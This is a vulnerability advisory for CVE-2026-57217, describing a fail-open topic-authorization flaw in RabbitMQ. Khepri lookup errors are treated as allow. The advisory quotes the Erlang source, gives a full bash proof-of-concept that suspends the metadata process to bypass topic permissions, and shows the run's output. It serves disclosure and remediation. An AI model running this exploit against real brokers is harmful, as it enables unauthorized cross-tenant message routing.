CVE-2026-57217

ADVISORY - docker

Summary

Summary

RabbitMQ topic authorization allows restricted topic operations during metadata-store failures due to error collapsing in topic-permission lookup handling. The internal backend fetches topic permissions and treats undefined as allow, while the database helper returns undefined for any non-{ok, TopicPermission} Khepri response, including timeout/error paths. This turns transient Khepri lookup faults into authorization success for topic writes/binds that should remain denied. Executed validation reproduced this deterministically: denied before fault, allowed during Khepri timeout, denied again after recovery. Intended-behavior research also indicates this is not expected behavior because backend authorization contracts treat {error, Error} as an error path, not an implicit allow.

Impact

An authenticated low-privileged tenant can publish or bind to routing keys outside its configured topic regex during Khepri lookup failures, enabling unauthorized cross-tenant message routing in shared topic exchanges.

Description

The topic-permission read path first queries Khepri and collapses every non-{ok, TopicPermission} result to undefined.

https://github.com/rabbitmq/rabbitmq-server/blob/83866edcc995602f546f3c4147078b3a610b0075/deps/rabbit/src/rabbit_db_user.erl#L416-L424

get_topic_permissions(Username, VHostName, ExchangeName)
  when is_binary(Username) andalso
       is_binary(VHostName) andalso
       is_binary(ExchangeName) ->
    Path = khepri_topic_permission_path(Username, VHostName, ExchangeName),
    case rabbit_khepri:get(Path) of
        {ok, TopicPermission} -> TopicPermission;
        _                     -> undefined
    end.

After that lookup, the internal authorization backend treats undefined as success for topic access.

https://github.com/rabbitmq/rabbitmq-server/blob/83866edcc995602f546f3c4147078b3a610b0075/deps/rabbit/src/rabbit_auth_backend_internal.erl#L159-L167

check_topic_access(#auth_user{username = Username},
                   #resource{virtual_host = VHostPath, name = Name, kind = topic},
                   Permission,
                   Context) ->
    case rabbit_db_user:get_topic_permissions(Username, VHostPath, Name) of
        undefined ->
            true;
        #topic_permission{permission = P} ->
            PermRegexp = case element(permission_index(Permission), P) of

The backend authorization contract explicitly defines {error, Error} as an error condition, so converting store errors into undefined and then allowing access violates expected validation flow.

https://github.com/rabbitmq/rabbitmq-server/blob/83866edcc995602f546f3c4147078b3a610b0075/deps/rabbit/src/rabbit_authz_backend.erl#L57-L69

%% Given #auth_user, topic as resource, permission, and context, can a user access the topic?
%%
%% Possible responses:
%% true
%% false
%% {false, Reason}
%% {error, Error}
%%     Something went wrong. Log and die.
-callback check_topic_access(rabbit_types:auth_user(),
    rabbit_types:r(atom()),
    rabbit_types:permission_atom(),
    rabbit_types:topic_access_context()) ->
    boolean() | {false, Reason :: string()} | {'error', any()}.

The issue is triggered when a user with restricted topic permissions performs topic operations while Khepri returns timeout/error results, because the lookup failure is normalized to undefined and interpreted as allow instead of deny/error.

Proof of Concept (PoC)

The finding was validated against the 83866edcc995602f546f3c4147078b3a610b0075 commit.

The PoC demonstrates that topic authorization is correctly enforced before a metadata fault, fails open during a forced Khepri timeout, and returns to denial after recovery. It uses one standalone helper file and standard broker APIs/CLI only. The full helper file used in execution is included below.

validation-environments/finding-674/poc_topic_fail_open.sh

#!/usr/bin/env bash
set -euo pipefail

MGMT='http://127.0.0.1:15672/api'
ADMIN_USER='guest'
ADMIN_PASS='guest'
VHOST='poc-topic-674'
EXCHANGE='topic_ex'
QUEUE='victim_q'
ATT_USER='att_674'
ATT_PASS='attpass674'

req() {
  local method="$1"; shift
  local url="$1"; shift
  local data="${1:-}"
  if [ -n "$data" ]; then
    curl -sS -u "$ADMIN_USER:$ADMIN_PASS" -H 'content-type: application/json' -X "$method" "$url" -d "$data"
  else
    curl -sS -u "$ADMIN_USER:$ADMIN_PASS" -X "$method" "$url"
  fi
}

att_publish() {
  local payload="$1"
  curl -sS -i -u "$ATT_USER:$ATT_PASS" -H 'content-type: application/json' \
    -X POST "$MGMT/exchanges/$VHOST/$EXCHANGE/publish" \
    -d "{\"properties\":{},\"routing_key\":\"secret.1\",\"payload\":\"$payload\",\"payload_encoding\":\"string\"}"
}

echo '[*] Cleanup from previous runs'
req DELETE "$MGMT/users/$ATT_USER" >/dev/null || true
req DELETE "$MGMT/vhosts/$VHOST" >/dev/null || true

echo '[*] Create topology and users'
req PUT "$MGMT/vhosts/$VHOST" '{}'
req PUT "$MGMT/exchanges/$VHOST/$EXCHANGE" '{"type":"topic","durable":true,"auto_delete":false,"internal":false,"arguments":{}}'
req PUT "$MGMT/queues/$VHOST/$QUEUE" '{"auto_delete":false,"durable":true,"arguments":{}}'
req POST "$MGMT/bindings/$VHOST/e/$EXCHANGE/q/$QUEUE" '{"routing_key":"secret.#","arguments":{}}'
req PUT "$MGMT/users/$ATT_USER" "{\"password\":\"$ATT_PASS\",\"tags\":\"management\"}"
req PUT "$MGMT/permissions/$VHOST/$ATT_USER" '{"configure":".*","write":".*","read":".*"}'
req PUT "$MGMT/topic-permissions/$VHOST/$ATT_USER" '{"exchange":"topic_ex","write":"^public\\\\..*","read":"^public\\\\..*"}'

echo '[*] Baseline publish should be denied by topic permission'
att_publish 'blocked-before'

echo '[*] Find and suspend Khepri Ra server'
PID=$(docker exec bbval-rabbitmq-server rabbitmqctl eval 'Pid = ra_directory:where_is(coordination, rabbitmq_metadata), io:format("~p", [Pid]).' | tr -d '\r')
echo "KHEPRI_PID=$PID"
docker exec bbval-rabbitmq-server rabbitmqctl eval 'Pid = ra_directory:where_is(coordination, rabbitmq_metadata), sys:suspend(Pid), Pid.'

echo '[*] Confirm Khepri lookup now errors'
docker exec bbval-rabbitmq-server rabbitmqctl eval 'rabbit_khepri:get([rabbitmq], #{timeout => 1000}).'

echo '[*] Exploit publish during Khepri error'
att_publish 'bypass-during-khepri-error'

echo '[*] Read queue content as evidence of unauthorized routing'
req POST "$MGMT/queues/$VHOST/$QUEUE/get" '{"count":5,"ackmode":"ack_requeue_false","encoding":"auto","truncate":50000}'

echo '[*] Resume Khepri'
docker exec bbval-rabbitmq-server rabbitmqctl eval 'Pid = ra_directory:where_is(coordination, rabbitmq_metadata), sys:resume(Pid), Pid.'

echo '[*] Verify denial returns after resume'
att_publish 'blocked-after-resume'

PoC Steps

  1. Ensure a running RabbitMQ broker with management API on 127.0.0.1:15672 and CLI access via rabbitmqctl inside the broker container.
  2. Create directory validation-environments/finding-674.
  3. Create file validation-environments/finding-674/poc_topic_fail_open.sh with the exact content shown above.
  4. Run chmod +x validation-environments/finding-674/poc_topic_fail_open.sh.
  5. Run bash validation-environments/finding-674/poc_topic_fail_open.sh.
  6. Observe baseline publish denial for secret.1, then forced Khepri timeout, then publish success during timeout, then denial again after resume.

PoC Results

Observed stdout/stderr from the executed run:

[*] Baseline publish should be denied by topic permission
HTTP/1.1 400 Bad Request
...
{"error":"bad_request","reason":"403 ACCESS_REFUSED - write access to topic 'secret.1' in exchange 'topic_ex' in vhost 'poc-topic-674' refused for user 'att_674'"}
[*] Confirm Khepri lookup now errors
{error,timeout}
[*] Exploit publish during Khepri error
HTTP/1.1 200 OK
...
{"routed":true}
[*] Read queue content as evidence of unauthorized routing
[{"payload_bytes":26,"redelivered":false,"exchange":"topic_ex","routing_key":"secret.1","message_count":0,"properties":[],"payload":"bypass-during-khepri-error","payload_encoding":"string"}]
[*] Verify denial returns after resume
HTTP/1.1 400 Bad Request
...
{"error":"bad_request","reason":"403 ACCESS_REFUSED - write access to topic 'secret.1' in exchange 'topic_ex' in vhost 'poc-topic-674' refused for user 'att_674'"}

The results show a real fail-open authorization bypass limited to the Khepri lookup error window: policy-denied topic publish becomes accepted and routed, then returns to denied when metadata lookup recovers.

Common Weakness Enumeration (CWE)


Docker

CREATED

UPDATED

ADVISORY ID

CVE-2026-57217

EXPLOITABILITY SCORE

-

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)-
RATING UNAVAILABLE FROM ADVISORY